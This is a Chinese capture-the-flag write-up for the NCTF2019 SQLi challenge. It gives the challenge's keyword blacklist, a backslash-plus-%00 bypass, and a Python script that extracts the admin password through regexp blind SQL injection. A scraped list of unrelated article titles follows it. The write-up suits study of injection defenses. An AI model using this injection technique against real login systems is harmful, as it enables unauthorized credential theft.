主页就一个登录框 。把sql语句显示出来了。

再进行一波信息搜集。看看robots.txt

有个hint.txt

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in||-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST['passwd'] === admin's password,

Then you will get the flag;

拿到flag的条件是post的密码要等于admin密码。并没有对用户名做限制

过滤了很多字符串。这里select字段被过滤了。但是没关系。mysql同一张表中的字段不需要select即可查询。这里只能用盲注。盲注还分时间盲注等。这里regexp即可绕过过滤

在Mysql种%00也是注释符。但是前面必须得加;

此时执行的sql语句为

select * from users where username='\' and passwd='||1;%00'

#where username='xxxx'||1

条件为真时。就会跳转。

条件为假时。就会回到登陆页

我们可以通过regexp来一位位判断密码

由于数据库中密码数据比较多。所以存在很多的密码

得一个个试。有那么多条数据。

最后y(79)开头的那条数据。比较特殊。开头三位是you

写个脚本爆破下这条数据

import requests

from urllib import parse

import string

import time

str1 = string.ascii_letters+'_'+string.digits

url='http://9d86404e-b5c0-41ff-b8ef-f9bbf6da8e8c.node3.buuoj.cn/index.php'

flag='79'

a=parse.unquote('%00')

for i in range(50):

for i in str1:

data={"username":"\\",

"passwd":"||passwd/**/regexp/**/0x"+flag+hex(ord(i)).replace('0x','')+";"+a

}

r=requests.post(url=url,data=data)

if 'welcome.php' in r.text:

flag+=hex(ord(i)).replace('0x','')

print(flag)

break

time.sleep(0.5)

#防止429

用户名随意。密码填跑出来的密码。

因为flag条件为POST密码==admin密码即可。

php sql中regexp,[NCTF2019]SQLi(regexp注入)相关推荐

  1. [NCTF2019]SQLi 1regexp注入

    [NCTF2019]SQLi&regexp注入 知识点: 无引号闭合,可以利用转义符 \ %00作为截断字符可以代替注释符#和-- - regexp注入可以配合 ^ 来爆破字符 解题: 打开题 ...

  2. mysql 正则替换 换行,MySQL中使用replace、regexp进行正则表达式替换的用法分析

    本文实例讲述了MySQL中使用replace.regexp进行正则表达式替换的用法.,具体如下: 今天一个朋友问我,如果将数据库中查到的类似于"./uploads/110100_cityHo ...

  3. mysql替换首字母_MySQL中使用replace、regexp进行正则表达式替换的用法分析

    这篇文章主要介绍了MySQL中使用replace.regexp进行正则表达式替换的用法,结合具体实例形式分析了replace.regexp正则替换的使用技巧与相关注意事项,需要的朋友可以参考下 本文实 ...

  4. js mysql替换_MySQL中使用replace、regexp进行正则表达式替换的用法分析

    本文实例讲述了MySQL中使用replace.regexp进行正则表达式替换的用法.分享给大家供大家参考,具体如下: 今天一个朋友问我,如果将数据库中查到的类似于"./uploads/110 ...

  5. mysql正则替换_MySQL中使用replace、regexp进行正则表达式替换的用法分析

    本文实例讲述了MySQL中使用replace.regexp进行正则表达式替换的用法.分享给大家供大家参考,具体如下: 今天一个朋友问我,如果将数据库中查到的类似于"./uploads/110 ...

  6. mysql注入式攻击_mybatis的sql中使用$会出现sql注入示例

    mybatis的sql中使用$会出现sql注入示例: 模拟简单登录场景: 页面代码: functionlogin(){//sql注入 var user ={ username :"'李雪雷3 ...

  7. Hive Sql中六种面试题型总结

    Hive Sql中六种面试题型总结 一.常用函数 二.N日留存 1.思路分析 三.连续登陆 1.数据准备 2.思路分析一 3.思路分析二 四.Top N 1.数据准备 2.思路分析 五.行列互转 1. ...

  8. SQL中使用的运算符号详解

    文章目录 前言 1. 算术运算符 加法与减法运算符 乘法与除法运算符 求模(求余)运算符 2. 比较运算符 1.等号运算符 2.安全等于运算符 3.不等于运算符 4. 空运算符 5. 非空运算符 6. ...

  9. SQL COOKLIST:写SQL中的习惯语法暗坑

    O'REILLY有若干以"COOKBOOK"命名的"动物书",讲的是写一些语言代码时被称作"语法糖"的黑科技."语法糖" ...

最新文章

  1. css代码应该放html哪里,css代码放到哪里?
  2. [20170206]为什么少1个段.txt
  3. java 支付宝h5网页支付接口,移动端h5网页调用支付宝支付接口
  4. 滴滴基于 Flink 的实时数仓建设实践
  5. 字符串匹配算法(三):KMP(KnuthMorrisPratt)算法
  6. linux 无法访问docker mysql8_Apple M1芯片不支持Docker?Docker:正在努力适配
  7. P1422 小玉家的电费--2022.03.15
  8. C#LeetCode刷题之#643-子数组最大平均数 I( Maximum Average Subarray I)
  9. 随想录(uclibc的学习)
  10. vim粘贴代码格式变乱
  11. Filter实现敏感词汇过滤
  12. Mac 上设置锁屏快捷键
  13. 微分几何中映射的二度理解
  14. 9款用HTML5/CSS3制作的动物、人物动画
  15. ASP.NET C#药店管理信息系统(含论文)毕业设计【演示视频】
  16. Error,java对常量池来说字符串xxx的UTF8表示过长
  17. Must call super constructor in derived class before accessing or returning from derived const
  18. 区块链测试(二):区块链测试
  19. JAVA进入公司试用期多久_一般企业的试用期为多长时间
  20. 为电子版微积分算一算经济账

热门文章

  1. Paddle预训练模型应用工具PaddleHub
  2. MinkowskiEngine语义分割
  3. C/C++语言编程的隐患!
  4. 2021年大数据ZooKeeper(四):ZooKeeper的shell操作
  5. Java 反射 (快速了解反射)
  6. android studio 常量表达式错误
  7. Activity的知识
  8. 025_Excel知识汇总
  9. PyTorch 笔记(04)— Tensor 属性方法(获取元素个数numel/neleme、查看形状size()/shape、增减维度squeeze()/unsqueeze()、resize形状)
  10. Go 学习笔记(20)— Go 操作 json 文件(编码生成 json、解码 json 为 map、解码 json 为 struct)